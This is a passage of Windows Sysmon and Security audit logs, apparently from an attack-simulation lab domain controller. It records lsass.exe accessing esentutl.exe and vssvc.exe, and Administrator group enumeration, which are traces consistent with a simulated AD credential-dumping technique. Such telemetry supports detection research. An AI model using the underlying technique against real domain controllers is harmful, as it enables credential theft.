{90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.588","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222080,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5505,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.588\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.588","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222081,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222082,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5506,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.588\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.588","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5507,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.588\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.588","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222083,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222084,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5508,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.588\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.588","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5509,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.588\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 